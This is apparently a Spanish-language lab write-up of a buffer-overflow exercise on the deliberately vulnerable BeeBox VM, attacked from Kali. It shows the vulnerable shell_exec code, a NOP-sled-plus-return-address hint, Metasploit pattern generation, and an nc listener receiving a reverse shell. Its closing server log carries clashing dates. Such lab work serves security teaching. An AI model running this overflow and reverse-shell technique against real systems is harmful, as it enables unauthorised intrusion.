

## EXPLOTACIÓN DE DESBORADAMIENTO DE BUFFER

Verificando comunicación entre las maquinas de BeeBox y Kali:

```
bee@bee-box: ~  
File Edit View Terminal Tabs Help  
bee@bee-box:~$ ip addr show  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
    inet6 ::1/128 scope host  
        valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000  
    link/ether 08:00:27:60:4b:b5 brd ff:ff:ff:ff:ff:ff  
    inet 192.168.0.68/24 brd 192.168.0.255 scope global eth0  
    inet6 fe80::a00:27ff:fe60:4bb5/64 scope link  
        valid_lft forever preferred_lft forever  
bee@bee-box:~$ ping 192.168.0.126  
PING 192.168.0.126 (192.168.0.126) 56(84) bytes of data.  
64 bytes from 192.168.0.126: icmp_seq=1 ttl=64 time=2.50 ms  
64 bytes from 192.168.0.126: icmp_seq=2 ttl=64 time=2.06 ms  
64 bytes from 192.168.0.126: icmp_seq=3 ttl=64 time=1.02 ms  
64 bytes from 192.168.0.126: icmp_seq=4 ttl=64 time=1.62 ms  
64 bytes from 192.168.0.126: icmp_seq=5 ttl=64 time=1.92 ms  
64 bytes from 192.168.0.126: icmp_seq=6 ttl=64 time=1.86 ms  
  
--- 192.168.0.126 ping statistics ---  
6 packets transmitted, 6 received, 0% packet loss, time 5002ms  
rtt min/avg/max/mdev = 1.027/1.835/2.504/0.451 ms  
bee@bee-box:~$ S
```

```
(kali@kali)-[~]  
$ ip addr show  
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
        valid_lft forever preferred_lft forever  
    inet6 ::1/128 scope host noprefixroute  
        valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000  
    link/ether 08:00:27:67:c5:78 brd ff:ff:ff:ff:ff:ff  
    inet 192.168.0.126/24 brd 192.168.0.255 scope global dynamic noprefixroute eth0  
        valid_lft 7137sec preferred_lft 7137sec  
    inet6 fe80::61ea:acc8:55f3:105e/64 scope link noprefixroute  
        valid_lft forever preferred_lft forever  
  
(kali@kali)-[~]  
$ ping 192.168.0.68  
PING 192.168.0.68 (192.168.0.68) 56(84) bytes of data.  
64 bytes from 192.168.0.68: icmp_seq=1 ttl=64 time=0.717 ms  
64 bytes from 192.168.0.68: icmp_seq=2 ttl=64 time=3.48 ms  
64 bytes from 192.168.0.68: icmp_seq=3 ttl=64 time=0.890 ms  
64 bytes from 192.168.0.68: icmp_seq=4 ttl=64 time=0.656 ms  
64 bytes from 192.168.0.68: icmp_seq=5 ttl=64 time=1.65 ms  
64 bytes from 192.168.0.68: icmp_seq=6 ttl=64 time=0.831 ms  
^C  
--- 192.168.0.68 ping statistics ---  
6 packets transmitted, 6 received, 0% packet loss, time 5668ms  
rtt min/avg/max/mdev = 0.656/1.370/3.479/0.998 ms  
  
(kali@kali)-[~]  
$
```

Realizando la consulta "Hulk" existente en la base de datos de BeeBox:

# Buffer Overflow (Local)

Search for a movie:   (bee-box only)

HINT: \x90\*354 + \x8f\x92\x04\x08 + [payload]

Thanks to David Bloom (@philophobia78) for developing the C++ BOF application!

Title	Release	Character	Genre	IMDb
The Incredible Hulk	2008	Bruce Banner	action	<a href="#">Link</a>

Realizando la consulta "Harry Potter" no existente en la base de datos:

# Buffer Overflow (Local)

Search for a movie:   (bee-box only)

HINT: \x90\*354 + \x8f\x92\x04\x08 + [payload]

Thanks to David Bloom (@philophobia78) for developing the C++ BOF application!

Title	Release	Character	Genre	IMDb
No movies were found!				

Leyendo el archivo bof\_1 para verificar indicios de desbordamiento de búfer en el manejo del input de la película:

```
</p>
</form>
<?php
if(isset($_POST["title"]))
{
    $title = $_POST["title"];
    $title = commandi($title);

    if($title == "")
    {
        echo "<p><font color=\"red\">Please enter a title...</font></p>";
    }
    else
    {
        echo shell_exec("./apps/movie_search " . $title);
    }
}
else
{
    echo "<p>HINT: \\x90*354 + \\x8f\\x92\\x04\\x08 + [payload]</p>";
    echo "<p>Thanks to David Bloom (@philophobia78) for developing the C++ B
OF application!</p>";
}
```

Generando la cadena de explotación en Kali:

```
(kali@kali)-[~]
$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 360

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9
```

Guardando la cadena en el fichero pattern\_chain.txt:

```
(kali@kali)-[~]
$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9" > pattern_chain.txt

(kali@kali)-[~]
$
```

Iniciando un servidor HTTP en Kali:

```
(kali@kali)-[~]
$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
```

Descargando el fichero en BeeBox con wget:

```
bee@bee-box:~$ wget http://192.168.0.126:8080/pattern_chain.txt
--04:06:58-- http://192.168.0.126:8080/pattern_chain.txt
=> `pattern_chain.txt'
Connecting to 192.168.0.126:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 361 [text/plain]

100%[=====>] 361 --.-K/s

04:06:58 (8.22 MB/s) - `pattern_chain.txt' saved [361/361]

bee@bee-box:~$
```

Verificando el fichero descargado en BeeBox:

```
bee@bee-box:~$ cat pattern_chain.txt
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9
bee@bee-box:~$
```

Usando la cadena generada con `pattern_create.rb` en el campo para causar desbordamiento de búfer:

## / Buffer Overflow (Local) /

Search for a movie:   (bee-box only)

Title	Release	Character	Genre	IMDb
-------	---------	-----------	-------	------

Iniciando un listener en Kali para recibir la Shell remota:

```
(kali㉿kali)-[~]  
$ nc -lvp 4444  
listening on [any] 4444 ...
```

Injectando payload para obtener Shell remota:

Search for a movie:   (bee-box only)

```
(kali㉿kali)-[~]  
$ nc -lvp 4444  
listening on [any] 4444 ...  
connect to [192.168.0.126] from (UNKNOWN) [192.168.0.68] 37310
```

Verificando logs del servidor para verificar desbordamiento de bufer:

```
[Sat Sep 22 03:22:58 2024] [notice] Apache/2.4.18 (Ubuntu) configured -- resuming normal operations
[Sat Sep 21 03:22:58 2024] [error] [client 192.168.0.126] File does not exist: /var/www/favicon.ico,
referer: http://192.168.0.68/
Segmentation fault
[192.168.0.126]: forward host lookup failed: Unknown host : Connection timed out
```